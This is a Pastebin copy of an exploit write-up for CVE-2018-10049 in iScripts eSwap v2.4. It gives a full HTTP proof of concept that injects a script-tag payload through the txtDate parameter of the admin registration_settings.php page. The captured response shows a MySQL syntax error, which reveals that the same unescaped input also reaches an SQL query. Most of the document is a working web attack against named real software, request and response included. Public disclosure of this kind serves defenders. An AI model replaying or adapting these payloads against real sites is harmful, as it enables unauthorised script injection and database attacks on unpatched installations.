Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Exploit title: iScripts eSwap v2.4 - XSS via the registration_settings.php Admin Panel
- # Date: 11/04/2018
- # Exploit Author: ManhNho
- # Vendor Homepage: https://www.iscripts.com
- # Software Link: https://www.iscripts.com/eswap
- # Demo Link: https://www.demo.iscripts.com/eswap/demo//admin/adminmain.php
- # Version: 2.4
- # CVE: CVE-2018-10049
- # Tested on: Windows 10 / Kali Linux
- # Category: Webapps
- #1. Description
- -----------------------------------------------------
- iScripts eSwap v2.4 has XSS via the "registration_settings.php" function parameter in Admin Panel.
- #2. Proof of Concept
- -----------------------------------------------------
- Request:
- Host: www.demo.iscripts.com
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: en-GB,en;q=0.5
- Accept-Encoding: gzip, deflate
- Referer: https://www.demo.iscripts.com/eswap/demo//admin/registration_settings.php?act=post
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 45
- Cookie: __utma=227100805.298811387.1522637403.1523415936.1523431492.7; __utmz=227100805.1522637403.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); messagesUtk=9ae2fcc5306f4d9c8d433f0f58efb968; PHPSESSID=44f6a6jfopm97kfrv7ccsfqub2; __utmc=227100805; __utma=129714457.1603653646.1523416273.1523416273.1523433224.2; __utmc=129714457; __utmz=129714457.1523433224.2.2.utmcsr=iscripts.com|utmccn=(referral)|utmcmd=referral|utmcct=/supportdesk/demo.php; __utmb=227100805; hs-messages-is-open=false; __utmb=129714457.5.10.1523433224; __utmt=1
- Connection: close
- Upgrade-Insecure-Requests: 1
- ddlFree=1&txtDate=<script>alert('1')</script>
- Response:
- HTTP/1.1 200 OK
- Date: Wed, 11 Apr 2018 08:00:29 GMT
- Server: Apache
- Expires: Thu, 19 Nov 1981 08:52:00 GMT
- Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
- Pragma: no-cache
- Connection: close
- Content-Type: text/html
- Content-Length: 2895
- ...
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '<script>alert('1')</script> DAY) where nLookUpCode = '16'' at line 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement